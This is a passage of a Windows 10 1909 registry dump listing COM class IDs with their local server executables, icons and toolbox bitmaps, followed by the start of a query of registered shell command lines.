    {24AC8F2B-4D4A-4C17-9607-6A4B14068F97}  %SystemRoot%\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {24AC8F2B-4D4A-4C17-9607-6A4B14068F97}
    {25B25D91-69A2-47fa-A375-FDC98189A06F}  %systemroot%\system32\SyncHost.exe
    {266C72E7-62E8-11D1-AD89-00C04FD8FDFF}  %SystemRoot%\system32\wbem\scrcons.exe
    {2744BC6A-4039-11E3-ABAD-8CFB6188709B}  %SystemRoot%\system32\SettingSyncHost.exe
    {2B32ECC3-C3BB-4701-82BB-EB7FE370D999}  %SystemRoot%\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {2B32ECC3-C3BB-4701-82BB-EB7FE370D999}
    {2F93C02D-77F9-46B4-95FB-8CBB81EEB62C}  %SystemRoot%\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {2F93C02D-77F9-46B4-95FB-8CBB81EEB62C}
    {32BA16FD-77D9-4AFB-9C9F-703E92AD4BFF}  %SystemRoot%\System32\cttunesvr.exe                                                                                                                cttunesvr.CtTuner.1
    {3C296D07-90AE-4FAC-86F9-65EAA8B82D22}  %SystemRoot%\system32\SppExtComObj.exe
    {3eef301f-b596-4c0b-bd92-013beafce793}  %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,SHCreateLocalServerRunDll {3eef301f-b596-4c0b-bd92-013beafce793}
    {4545dea0-2dfc-4906-a728-6d986ba399a9}  %SystemRoot%\System32\ThumbnailExtractionHost.exe
    {45597c98-80f6-4549-84ff-752cf55e2d29}  "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Enqueue
    {494C063B-1024-4DD1-89D3-713784E82044}  %systemroot%\system32\spool\tools\PrintBrmEngine.exe
    {49B2791A-B1AE-4C90-9B8E-E860BA07F889}  %SystemRoot%\system32\mmc.exe                                                                                                                      MMC20.Application.1
    {49BD2028-1523-11D1-AD79-00C04FD8FDFF}  %SystemRoot%\system32\wbem\unsecapp.exe
    {4AA0A5C4-1B9B-4F2E-99D7-99C6AEC83474}  %SystemRoot%\system32\SettingSyncHost.exe
    {4F1DFCA6-3AAD-48E1-8406-4BC21A501D7C}  %SystemRoot%\system32\wksprt.exe                                                                                                                   WorkspaceRuntime.Workspace.1
    {515980c3-57fe-4c1e-a561-730dd256ab98}  %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,SHCreateLocalServerRunDll {515980c3-57fe-4c1e-a561-730dd256ab98}
    {549e57e9-b362-49d1-b679-b64d510efe4b}  %SystemRoot%\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {549e57e9-b362-49d1-b679-b64d510efe4b}
    {5BD95610-9434-43C2-886C-57852CC8A120}  %SystemRoot%\explorer.exe /factory,{5BD95610-9434-43C2-886C-57852CC8A120}
    {6295DF2D-35EE-11D1-8707-00C04FD93327}  %SystemRoot%\System32\mobsync.exe
    {62AD5CB4-F168-4B95-8AAE-6F47A75D5D30}  %SystemRoot%\system32\oobe\UserOOBEBroker.exe
    {682159d9-c321-47ca-b3f1-30e36b2ec8b9}  %SystemRoot%\explorer.exe /factory,{682159d9-c321-47ca-b3f1-30e36b2ec8b9}
    {69F9CB25-25E2-4BE1-AB8F-07AA7CB535E8}  %SystemRoot%\System32\mobsync.exe
    {6d8ff8e8-730d-11d4-bf42-00b0d0118b56}  %SystemRoot%\system32\upnpcont.exe
    {722b3793-5367-4446-b6bb-db89b05c1f24}  %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,SHCreateLocalServerRunDll {722b3793-5367-4446-b6bb-db89b05c1f24}
    {73E709EA-5D93-4B2E-BBB0-99B7938DA9E4}  %systemroot%\system32\wbem\wmiprvse.exe
    {73FDDC80-AEA9-101A-98A7-00AA00374959}  "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE"                                                                                                WordPad.Document.1
    {75dff2b7-6936-4c06-a8bb-676a7b00b24b}  %SystemRoot%\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b}
    {8086ebd4-43e3-4b19-beb3-f0ea4ecf319c}  %SystemRoot%\System32\sdiagnhost.exe
    {884e2049-217d-11da-b2a4-000e7bbb2b09}  %systemroot%\system32\CertEnrollCtrl.exe                                                                                                           X509Enrollment.CX509EnrollmentWebClassFactory.1
    {884e2050-217d-11da-b2a4-000e7bbb2b09}  %systemroot%\system32\CertEnrollCtrl.exe                                                                                                           X509Enrollment.CX509EnrollmentHelper.1
    {8b455e45-7cc8-4253-af5b-b2cd3313e9cc}  %SystemRoot%\system32\SettingSyncHost.exe
    {8D8B8E30-C451-421B-8553-D2976AFA648C}  %SystemRoot%\System32\mobsync.exe
    {94E03510-31B9-47a0-A44E-E932AC86BB17}  "%ProgramFiles%\Windows Media Player\wmlaunch.exe"                                                                                                 WMP.Device.1
    {9678f47f-2435-475c-b24a-4606f8161c16}  %systemroot%\system32\wsmprovhost.exe
    {98068995-54d2-4136-9bc9-6dbcb0a4683f}  %systemroot%\system32\WinrsHost.exe
    {98BB952B-B23E-4737-8ABD-B553E7484B38}  %SystemRoot%\system32\DeviceEnroller.exe
    {995C996E-D918-4a8c-A302-45719A6F4EA7}  %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,SHCreateLocalServerRunDll {995C996E-D918-4a8c-A302-45719A6F4EA7}
    {9a97f12a-6b73-4dc4-b3c1-e9244c03adac}  %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,SHCreateLocalServerRunDll {9a97f12a-6b73-4dc4-b3c1-e9244c03adac}
    {9aa46009-3ce0-458a-a354-715610a075e6}  %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6}
    {9acf41ed-d457-4cc1-941b-ab02c26e4686}  %systemroot%\system32\wsmprovhost.exe
    {9BA05972-F6A8-11CF-A442-00A0C90A8F39}  %SystemRoot%\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {9BA05972-F6A8-11CF-A442-00A0C90A8F39}
    {9C38ED61-D565-4728-AEEE-C80952F0ECDE}  %SystemRoot%\System32\vdsldr.exe
    {9ecb380c-2333-4c68-9691-a569fe446820}  %SystemRoot%\system32\fixmapi.exe
    {A19141CE-D197-4C8B-82C9-4995F5303497}  %SystemRoot%\System32\DisplaySwitch.exe
    {A55803CC-4D53-404c-8557-FD63DBA95D24}  %SystemRoot%\system32\WPDShextAutoplay.exe
    {a677570a-2ba2-4e9a-b2e2-8a02cd8b4fd3}  %SystemRoot%\system32\PrintIsolationHost.exe                                                                                                       PrintSys.CoPrintIsolationHost.1
    {aac1009f-ab33-48f9-9a21-7f5b88426a2e}  %SystemRoot%\system32\TSTheme.exe
    {AB93B6F1-BE76-4185-A488-A9001B105B94}  %SystemRoot%\System32\BdeUISrv.exe                                                                                                                 BdeUISrv.BDEUILauncher.1
    {B43A0C1E-B63F-4691-B68F-CD807A45DA01}  %SystemRoot%\system32\TSWbPrxy.exe                                                                                                                 MSTSWebProxy.MSTSWebProxy.1
    {B8558612-DF5E-4F95-BB81-8E910B327FB2}  %SystemRoot%\System32\mobsync.exe
    {b8f87e75-d1d5-446b-931c-3f61b97bca7a}  %systemroot%\system32\DXPServer.exe
    {B9B05098-3E30-483F-87F7-027CA78DA287}  %SystemRoot%\system32\ApplicationFrameHost.exe
    {BA441419-0B3F-4FB6-A903-D16CC14CCA44}  %SystemRoot%\system32\PickerHost.exe
    {BF8841C9-378A-4CAD-B4FC-5091366CBC0D}  %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,SHCreateLocalServerRunDll {BF8841C9-378A-4CAD-B4FC-5091366CBC0D}
    {c08afd90-f2a1-11d1-8455-00a0c91f3880}  %SystemRoot%\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {c08afd90-f2a1-11d1-8455-00a0c91f3880}
    {C6B167EA-DB3E-4659-BADC-D1CCC00EFE9C}  %SystemRoot%\System32\FodHelper.exe                                                                                                                FodHelper.FodHelperObj.1
    {c82192ee-6cb5-4bc0-9ef0-fb818773790a}  %SystemRoot%\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {c82192ee-6cb5-4bc0-9ef0-fb818773790a}
    {C947D50F-378E-4FF6-8835-FCB50305244D}  %SystemRoot%\system32\mobsync.exe
    {CC6D9715-F553-4299-B2CE-6C7851FAA03A}  %SystemRoot%\system32\browser_broker.exe
    {cdc32574-7521-4124-90c3-8d5605a34933}  "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /BurnCD
    {ceff45ee-c862-41de-aee2-a022c81eda92}  %SystemRoot%\explorer.exe /factory,{ceff45ee-c862-41de-aee2-a022c81eda92}
    {D3E34B21-9D75-101A-8C3D-00AA001A1652}  %systemroot%\system32\mspaint.exe                                                                                                                  Paint.Picture
    {d54378cd-91d8-4e10-a00b-819f9a9efcb1}  %systemroot%\system32\printfilterpipelinesvc.exe                                                                                                   PrintSys.CoFilterPipeline.1
    {D5E8041D-920F-45e9-B8FB-B1DEB82C6E5E}  "%ProgramFiles%\Internet Explorer\iexplore.exe" -startmediumtab
    {DC7A02CD-2E47-406C-BA5A-B08EC00C4238}  %SystemRoot%\SysWOW64\fixmapi.exe
    {DF4FCC34-067A-4E0A-8352-4A1A5095346E}  "%ProgramFiles%\Internet Explorer\iexplore.exe" -startmanager
    {e3a4e5ca-55b2-4a06-b1ab-8fbecc7bca4b}  %SystemRoot%\system32\rundll32.exe /sta {fcc2867c-69ea-4d85-8058-7c214e611c97}
    {e44e9428-bdbc-4987-a099-40dc8fd255e7}  %SystemRoot%\system32\OpenWith.exe
    {E7B3C0E0-FB47-49F6-A66B-8A7C2E4E7B9C}  %SystemRoot%\splwow64.exe
    {ed1d0fdf-4414-470a-a56d-cfb68623fc58}  "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Play
    {F0A3A195-8D6A-4BC7-BD1F-3B2A2D5807CA}  %SystemRoot%\system32\SettingSyncHost.exe
    {F1EFACAA-08A1-461B-9D28-7AA8947889A0}  %systemroot%\system32\SyncHost.exe
    {F2506CD7-82C2-43D9-A1D3-F85F5EFE7D09}  %SystemRoot%\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {F2506CD7-82C2-43D9-A1D3-F85F5EFE7D09}
    {F827EC16-664E-4B05-878C-02D242229094}  %SystemRoot%\system32\CloudNotifications.exe
    {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}  %SystemRoot%\System32\slui.exe                                                                                                                     SPPUI.SPPUIObjectInteractive.1
    {fb479c02-9ec4-4fed-8599-debe037452cb}  %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,SHCreateLocalServerRunDll {fb479c02-9ec4-4fed-8599-debe037452cb}
    {FDA74D11-C4A6-4577-9F73-D7CA8586E10C}  %SystemRoot%\System32\ProximityUxHost.exe
    {FFB8655F-81B9-4fce-B89C-9A6BA76D13E7}  %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,SHCreateLocalServerRunDll {FFB8655F-81B9-4fce-B89C-9A6BA76D13E7}              Shell.HWEventHandlerShellExecute.1
    
    ComponentId                             DefaultIcon                                               ProgId
    {025A5937-A6BE-4686-A844-36FE4BEC8B6D}  %SystemRoot%\System32\powercpl.dll,-1
    {031E4825-7B94-4dc3-B131-E946B44C8DD5}  %SystemRoot%\system32\imageres.dll,-1023
    {04731B67-D933-450a-90E6-4ACD2E9408FE}  %SystemRoot%\system32\Windows.Storage.Search.dll,-323
    {047ea9a0-93bb-415f-a1c3-d7aeb3dd5087}  %SystemRoot%\System32\fsquirt.exe,-107
    {05d7b0f4-2121-4eff-bf6b-ed3f69b894d9}  %SystemRoot%\System32\taskbarcpl.dll,-1
    {088e3905-0323-4b02-9826-5d99428e115f}  %SystemRoot%\system32\imageres.dll,-184
    {0c39a5cf-1a7a-40c8-ba74-8900e6df5fcd}  %SystemRoot%\system32\imageres.dll,-117
    {0DB7E03F-FC29-4DC6-9020-FF41B59E513A}  %SystemRoot%\system32\imageres.dll,-198
    {0DF44EAA-FF21-4412-828E-260A8728E7F1}  %SystemRoot%\system32\imageres.dll,-80
    {0F563B5F-8EE2-4516-BA0A-544DE058C75B}  %SystemRoot%\System32\FileHistory.exe,-100
    {1206F5F1-0569-412C-8FEC-3204630DFB70}  %SystemRoot%\system32\Vault.dll,-1
    {148BD520-A2AB-11CE-B11F-00AA00530503}  %systemroot%\System32\mstask.dll,-101
    {148BD52A-A2AB-11CE-B11F-00AA00530503}  %systemroot%\System32\mstask.dll,0
    {15eae92e-f17a-4431-9f28-805e482dafd4}  %SystemRoot%\system32\imageres.dll,-87
    {17cd9488-1228-4b2f-88ce-4298e93e0966}  %SystemRoot%\System32\imageres.dll,-24
    {1CF1260C-4DD0-4ebb-811F-33C572699FDE}  %SystemRoot%\system32\imageres.dll,-108
    {1FA9085F-25A2-489B-85D4-86326EEDCD87}  %SystemRoot%\System32\wlanpref.dll
    {208D2C60-3AEA-1069-A2D7-08002B30309D}  %SystemRoot%\system32\imageres.dll,-25
    {20D04FE0-3AEA-1069-A2D8-08002B30309D}  %SystemRoot%\System32\imageres.dll,-109
    {21EC2020-3AEA-1069-A2DD-08002B30309D}  %SystemRoot%\System32\imageres.dll,-27
    {2227A280-3AEA-1069-A2DE-08002B30309D}  %SystemRoot%\System32\imageres.dll,-26
    {22877a6d-37a1-461a-91b0-dbda5aaebc99}  %SystemRoot%\system32\imageres.dll,-117
    {24ad3ad4-a569-4530-98e1-ab02f9417aa8}  %SystemRoot%\system32\imageres.dll,-113
    {2559a1f0-21d7-11d4-bdaf-00c04f60b9f0}  %SystemRoot%\System32\imageres.dll,-177
    {2559a1f2-21d7-11d4-bdaf-00c04f60b9f0}  %SystemRoot%\System32\shell32.dll,-48
    {2559a1f3-21d7-11d4-bdaf-00c04f60b9f0}  %SystemRoot%\System32\imageres.dll,-100
    {2559a1f5-21d7-11d4-bdaf-00c04f60b9f0}  %SystemRoot%\explorer.exe,-254
    {2559a1f7-21d7-11d4-bdaf-00c04f60b9f0}  %SystemRoot%\System32\imageres.dll,-24
    {26EE0668-A00A-44D7-9371-BEB064C98683}  %SystemRoot%\System32\imageres.dll,-27
    {28803F59-3A75-4058-995F-4EE5503B023C}  %systemroot%\system32\DevicePairingFolder.dll,-200
    {289AF617-1CC3-42A6-926C-E6A863F0E3BA}  dlnashext.dll,-200
    {2E17C0EF-2851-459b-A3C8-27A41D4BC9F7}  %SystemRoot%\system32\themeui.dll,7                       Theme.Manager.1
    {2F6CE85C-F9EE-43CA-90C7-8A9BD53A2467}  FileHistory.exe,0
    {3080F90D-D7AD-11D9-BD98-0000947B0257}  %SystemRoot%\explorer.exe,-103
    {3080F90E-D7AD-11D9-BD98-0000947B0257}  %SystemRoot%\explorer.exe,-258
    {3134ef9c-6b18-4996-ad04-ed5912e00eb5}  %SystemRoot%\system32\imageres.dll,-117
    {323CA680-C24D-4099-B94D-446DD2D7249E}  %SystemRoot%\system32\imageres.dll,-1024
    {328B0346-7EAF-4BBE-A479-7CB88A095F5B}  %SystemRoot%\system32\imageres.dll,-27                    LayoutFolder
    {374DE290-123F-4565-9164-39C4925E467B}  %SystemRoot%\system32\imageres.dll,-184
    {38A98528-6CBF-4CA9-8DC0-B1E1D10F7B1B}  %SystemRoot%\system32\imageres.dll,-171
    {3936E9E4-D92C-4EEE-A85A-BC16D5EA0819}  %SystemRoot%\system32\shell32.dll,-37219
    {3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}  %SystemRoot%\system32\imageres.dll,-113
    {3dfdf296-dbec-4fb4-81d1-6a3438bcf4de}  %SystemRoot%\system32\imageres.dll,-108
    {3f6bc534-dfa1-4ab4-ae54-ef25a74e0107}  %SystemRoot%\System32\rstrui.exe,0
    {40419485-C444-4567-851A-2DD7BFA1684D}  %SystemRoot%\System32\telephon.cpl,-100
    {430da762-8632-4840-bc61-3eeaa078e62e}  %SystemRoot%\system32\display.dll,1
    {450D8FBA-AD25-11D0-98A8-0800361B1103}  %SystemRoot%\system32\shell32.dll,-235
    {48123BC4-99D9-11D1-A6B3-00C04FD91555}  %SystemRoot%\System32\msxml3.dll,0                        xmlfile
    {4c892621-6757-4fe0-ad8c-a6301be7fba2}  %SystemRoot%\system32\themeui.dll,7
    {5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}  %SystemRoot%\system32\imageres.dll,-27
    {58E3C745-D971-4081-9034-86E34B30836A}  %SystemRoot%\System32\Speech\SpeechUX\speechuxcpl.dll,-1
    {59031a47-3f72-44a7-89c5-5595fe6b30ee}  %SystemRoot%\system32\imageres.dll,-123
    {5ea4f148-308c-46d7-98a9-49041b1dd468}  %SystemRoot%\system32\mblctr.exe,0
    {5ED4F38C-D3FF-4D61-B506-6820320AEBFE}  %SystemRoot%\System32\imageres.dll,-27
    {5ef4af3a-f726-11d0-b8a2-00c04fc309a4}  %SystemRoot%\system32\shell32.dll,-33
    {60632754-c523-4b62-b45c-4172da012619}  %SystemRoot%\System32\usercpl.dll,-1
    {60F6E464-4DEF-11d2-B2D9-00C04F8EEC8C}  %SystemRoot%\System32\DATACLEN.DLL,-2002
    {62D8ED13-C9D0-4CE8-A914-47DD628FB1B0}  %SystemRoot%\System32\intl.cpl,-200
    {6377013E-2C35-40F3-B8E1-1AB47D12982B}  %SystemRoot%\system32\WABSyncProvider.dll,0
    {63da6ec0-2e98-11cf-8d82-444553540000}  %SystemRoot%\system32\imageres.dll,-73
    {645FF040-5081-101B-9F08-00AA002F954E}  %SystemRoot%\System32\imageres.dll,-55
    {67718415-c450-4f3c-bf8a-b487642dc39b}  %SystemRoot%\system32\imageres.dll,-87
    {679f85cb-0220-4080-b29b-5540cc05aab6}  %SystemRoot%\system32\shell32.dll,-51380
    {67CA7650-96E6-4FDD-BB43-A8E774F73A57}  %SystemRoot%\System32\imageres.dll,-1013
    {6C8EEC18-8D75-41B2-A177-8831D59D2D50}  %SystemRoot%\System32\main.cpl,-100
    {6DFD7C5C-2451-11d3-A299-00C04F8EF6AF}  %SystemRoot%\system32\imageres.dll,-166
    {7007ACC7-3202-11D1-AAD2-00805FC1270E}  %SystemRoot%\system32\netshell.dll
    {725BE8F7-668E-4C7B-8F90-46BDB0936430}  %SystemRoot%\System32\main.cpl,-200
    {73FDDC80-AEA9-101A-98A7-00AA00374959}  "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE",1     WordPad.Document.1
    {74246bfc-4c96-11d0-abef-0020af6b0b7a}  %SystemRoot%\system32\devmgr.dll,-201
    {7A9D77BD-5403-11d2-8785-2E0420524153}  %SystemRoot%\system32\netplwiz.dll,-102
    {7b81be6a-ce2b-4676-a29e-eb907a5126c5}  %SystemRoot%\system32\imageres.dll,-87
    {80F3F1D5-FECA-45F3-BC32-752C152E456E}  %SystemRoot%\System32\tabletpc.cpl,-10200
    {863aa9fd-42df-457b-8e4d-0de1b8015c60}  %SystemRoot%\System32\imageres.dll,-26
    {87D66A43-7B11-4A28-9811-C86EE395ACF7}  %SystemRoot%\System32\srchadmin.dll,-201
    {888DCA60-FC0A-11CF-8F0F-00C04FD7D062}  %SystemRoot%\system32\zipfldr.dll
    {89D83576-6BD1-4c86-9454-BEB04E94C819}  %systemroot%\system32\mssvp.dll,-504
    {8E908FC9-BECC-40f6-915B-F4CA0E70D03D}  %SystemRoot%\System32\netcenter.dll,-1
    {8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}  %systemroot%\system32\dxp.dll,0
    {9324DA94-50EC-4A14-A770-E90CA03E7C8F}  %SystemRoot%\system32\themeui.dll,7
    {93412589-74D4-4E4E-AD0E-E0CB621440FD}  %SystemRoot%\System32\fontext.dll
    {9343812e-1c37-4a49-a12e-4b2d810d956b}  %SystemRoot%\System32\searchfolder.dll,-323
    {98F275B4-4FFF-11E0-89E2-7B86DFD72085}  %SystemRoot%\system32\SearchFolder.dll,-323
    {992CFFA0-F557-101A-88EC-00DD010CCC48}  %SystemRoot%\system32\netshell.dll
    {9C60DE1E-E5FC-40f4-A487-460851A8D915}  %SystemRoot%\System32\autoplay.dll,-1
    {9C73F5E5-7AE7-4E32-A8E8-8D23B85255BF}  %SystemRoot%\System32\SyncCenter.dll,-1000
    {9DB7A13C-F208-4981-8353-73CC61AE2783}  %SystemRoot%\system32\twext.dll,-100                      Previous.Versions
    {9E56BE60-C50F-11CF-9A2C-00A0C90A90CE}  %SystemRoot%\system32\sendmail.dll,-2001
    {9E56BE61-C50F-11CF-9A2C-00A0C90A90CE}  %SystemRoot%\system32\imageres.dll,-110
    {9FE63AFD-59CF-4419-9775-ABCC3849F861}  %SystemRoot%\System32\imageres.dll,-1022
    {a00ee528-ebd9-48b8-944a-8942113d46ac}  %SystemRoot%\system32\SearchFolder.dll,-323
    {A0953C92-50DC-43bf-BE83-3742FED03C9C}  %SystemRoot%\system32\imageres.dll,-189
    {A8A91A66-3A7D-4424-8D24-04E180695C7A}  %systemroot%\system32\DeviceCenter.dll,-1
    {A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}  %SystemRoot%\system32\imageres.dll,-112
    {A9B48EAC-3ED8-11d2-8216-00C04FB687DA}  %SystemRoot%\System32\DATACLEN.DLL,-2000
    {ADB9F5A4-E73E-49b8-99B6-2FA317EF9DBC}  %SystemRoot%\system32\themeui.dll,7
    {AFDB1F70-2A4C-11d2-9039-00C04F8EEB3E}  %SystemRoot%\System32\cscui.dll
    {B12AE898-D056-4378-A844-6D393FE37956}  %SystemRoot%\system32\themeui.dll,7
    {B4BFCC3A-DB2C-424C-B029-7FE99A87C641}  %SystemRoot%\system32\imageres.dll,-183
    {B4FB3F98-C1EA-428d-A78A-D1F5659CBA93}  %SystemRoot%\system32\imageres.dll,-1013
    {B7BBD408-F09C-4aa8-B65E-A00B8FE0F0B9}  %SystemRoot%\system32\themeui.dll,7
    {B98A2BEA-7D42-4558-8BD1-832F41BAC6FD}  %SystemRoot%\System32\sdcpl.dll,-1
    {BA126E01-2166-11D1-B1D0-00805FC1270E}  %SystemRoot%\system32\netshell.dll
    {BA126F01-2166-11D1-B1D0-00805FC1270E}  %SystemRoot%\system32\netshell.dll
    {BB06C0E4-D293-4f75-8A90-CB05B6477EEE}  %SystemRoot%\System32\imageres.dll,-149
    {BB64F8A7-BEE7-4E1A-AB8D-7D8273F7FDB6}  %SystemRoot%\System32\ActionCenterCPL.dll,-1
    {BC48B32F-5910-47F5-8570-5074A8A5636A}  %SystemRoot%\System32\SyncCenter.dll,-1000
    {BD7A2E7B-21CB-41b2-A086-B309680C6B7E}  %systemroot%\system32\mssvp.dll,-505
    {BD84B380-8CA2-1069-AB1D-08000948F534}  %SystemRoot%\System32\fontext.dll
    {c57a6066-66a3-4d91-9eb9-41532179f0a5}  %SystemRoot%\system32\imageres.dll,-1020
    {C58C4893-3BE0-4B45-ABB5-A63E4B8C8651}  %SystemRoot%\System32\DiagCpl.dll,-1
    {c79d1575-b8c6-4862-a284-788836518b97}  %SystemRoot%\system32\display.dll,1
    {d0da2915-3f89-4519-a4ca-5e02528c8ec4}  %SystemRoot%\system32\playlistfolder.dll
    {D17D1D6D-CC3F-4815-8FE3-607E7D5D10B3}  %SystemRoot%\System32\Speech\SpeechUX\sapi.cpl,-138
    {D2035EDF-75CB-4EF1-95A7-410D9EE17170}  dlnashext.dll,-200
    {D20EA4E1-3957-11d2-A40B-0C5020524153}  %SystemRoot%\System32\imageres.dll,-114
    {d3162b92-9365-467a-956b-92703aca08af}  %SystemRoot%\system32\imageres.dll,-112
    {D3E34B21-9D75-101A-8C3D-00AA001A1652}  %systemroot%\system32\mspaint.exe,-3                      Paint.Picture
    {D4480A50-BA28-11d1-8E75-00C04FA31A86}  %SystemRoot%\System32\shwebsvc.dll,-107
    {d450a8a1-9568-45c7-9c0e-b4f9fb4537bd}  appwiz.cpl,-1507
    {D555645E-D4F8-4c29-A827-D93C859C4F2A}  %SystemRoot%\System32\accessibilitycpl.dll,-1
    {D9EF8727-CAC2-4e60-809E-86F80A666C91}  %SystemRoot%\System32\fvecpl.dll,-1
    {daf95313-e44d-46af-be1b-cbacea2c3065}  %SystemRoot%\system32\SearchFolder.dll,-323
    {E2E7934B-DCE5-43C4-9576-7FE4F75E7480}  %SystemRoot%\System32\timedate.cpl,-50
    {e345f35f-9397-435c-8f95-4e922c26259e}  %SystemRoot%\system32\SearchFolder.dll,-323
    {E413D040-6788-4C22-957E-175D1C513A34}  %SystemRoot%\System32\SyncCenter.dll,-1000
    {E44E5D18-0652-4508-A4E2-8A090067BCB0}  %SystemRoot%\system32\imageres.dll,-24
    {E88DCCE0-B7B3-11d1-A9F0-00AA0060FA31}  %SystemRoot%\system32\zipfldr.dll                         CompressedFolder
    {E96F5460-09CE-4f46-88B1-F4B6B4A8E252}  %SystemRoot%\system32\wmploc.dll, 101
    {ECF03A32-103D-11d2-854D-006008059367}  %SystemRoot%\system32\imageres.dll,-1002
    {ED7BA470-8E54-465E-825C-99712043E01C}  %SystemRoot%\System32\imageres.dll,-27
    {ED834ED6-4B5A-4bfe-8F11-A626DCB6A921}  %SystemRoot%\System32\themecpl.dll,-1
    {F02C1A0D-BE21-4350-88B0-7367FC96EF3C}  %SystemRoot%\System32\imageres.dll,-25
    {F1390A9A-A3F4-4E5D-9C5F-98F3BD8D935C}  %SystemRoot%\System32\SyncCenter.dll,-1000
    {F20DA720-C02F-11CE-927B-0800095AE340}  %SystemRoot%\system32\packager.dll,0                      Package
    {F2DDFC82-8F12-4CDD-B7DC-D4FE1425AA4D}  %SystemRoot%\System32\mmsys.cpl,-100
    {F5078F40-C551-11D3-89B9-0000F81FE221}  %SystemRoot%\System32\msxml3.dll,0                        xmlfile
    {F6B6E965-E9B2-444B-9286-10C9152EDBC5}  %SystemRoot%\System32\FileHistory.exe
    {F82DF8F7-8B9F-442E-A48C-818EA735FF9B}  %SystemRoot%\System32\tabletpc.cpl,-10201
    {f86fa3ab-70d2-4fc7-9c99-fcbf05467f3a}  %SystemRoot%\system32\imageres.dll,-189
    {FF3AE31D-55B0-4945-BDE9-622ABB334C1A}  %SystemRoot%\system32\WABSyncProvider.dll,0
    
    ComponentId                             ProgId                           ToolBoxBitmap32
    {04a1e553-fe36-4fde-865e-344194e69424}  msinkaut.InkPicture.1            %CommonProgramFiles%\Microsoft Shared\Ink\InkObj.dll, 212
    {289228DE-A31E-11D1-A19C-0000F875B132}  ListPad.ListPad.1                cic.dll, 1
    {44F9A03B-A3EC-4F3B-9364-08E0007F21DF}  Control.TaskSymbol.1             mmcndmgr.dll, 101
    {545AE700-50BF-11D1-9FE9-00600832DB4A}  MMCCtrl.MMCCtrl.1                cic.dll, 1
    {5828227c-20cf-4408-b73f-73ab70b8849f}  RdpCoreTS.WRdsProtocolManager.1  %windir%\system32\rdpcorets.dll, 1
    {6BF52A52-394A-11d3-B153-00C04F79FAA6}  WMPlayer.OCX.7                   %SystemRoot%\system32\wmploc.dll, 101
    {850D1D11-70F3-4BE5-9A11-77AA6B2BB201}  WIA.CommonDialog.1               %SystemRoot%\System32\wiaaut.dll, 102
    {9BA05971-F6A8-11CF-A442-00A0C90A8F39}  Shell.FolderView.1               %SystemRoot%\system32\shell32.dll, 260
    {AEB84C83-95DC-11D0-B7FC-B61140119C4A}  DiskManagement.Control           %SystemRoot%\System32\dmview.ocx,1
    {B0395DA5-6A15-4E44-9F36-9A9DC7A2F341}  MMC.IconControl.1                mmcndmgr.dll, 1
    {C3701884-B39B-11D1-9D68-00C04FC30DF6}  OlePrn.OleInstall.1              %SystemRoot%\system32\oleprn.dll, 1
    {C47195EC-CD7A-11D1-8EA3-00C04F9900D7}  SysColorCtrl.SysColorCtrl.1      cic.dll, 1
    {E1C5D730-7E97-4D8A-9E42-BBAE87C2059F}  WIA.DeviceManager.1              %SystemRoot%\System32\wiaaut.dll, 103

Windows 10 1909, x86 alias I386 processor architecture

  1. All command lines registered with Programmatic Identifiers or Client Types:

    REG.EXE QUERY "HKEY_LOCAL_MACHINE\SOFTWARE" /E /F "Command" /K /S /VE
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Application.Manifest\shell\open\command
        (Standard)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\dfshim.dll",ShOpenVerbApplication %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Application.Reference\shell\open\command
        (Standard)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\dfshim.dll",ShOpenVerbShortcut %1|%2
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\iexplore.exe\shell\open\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\mspaint.exe\shell\edit\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\notepad.exe\shell\edit\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\notepad.exe\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\photoviewer.dll\shell\print\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\provtool.exe\shell\open\command
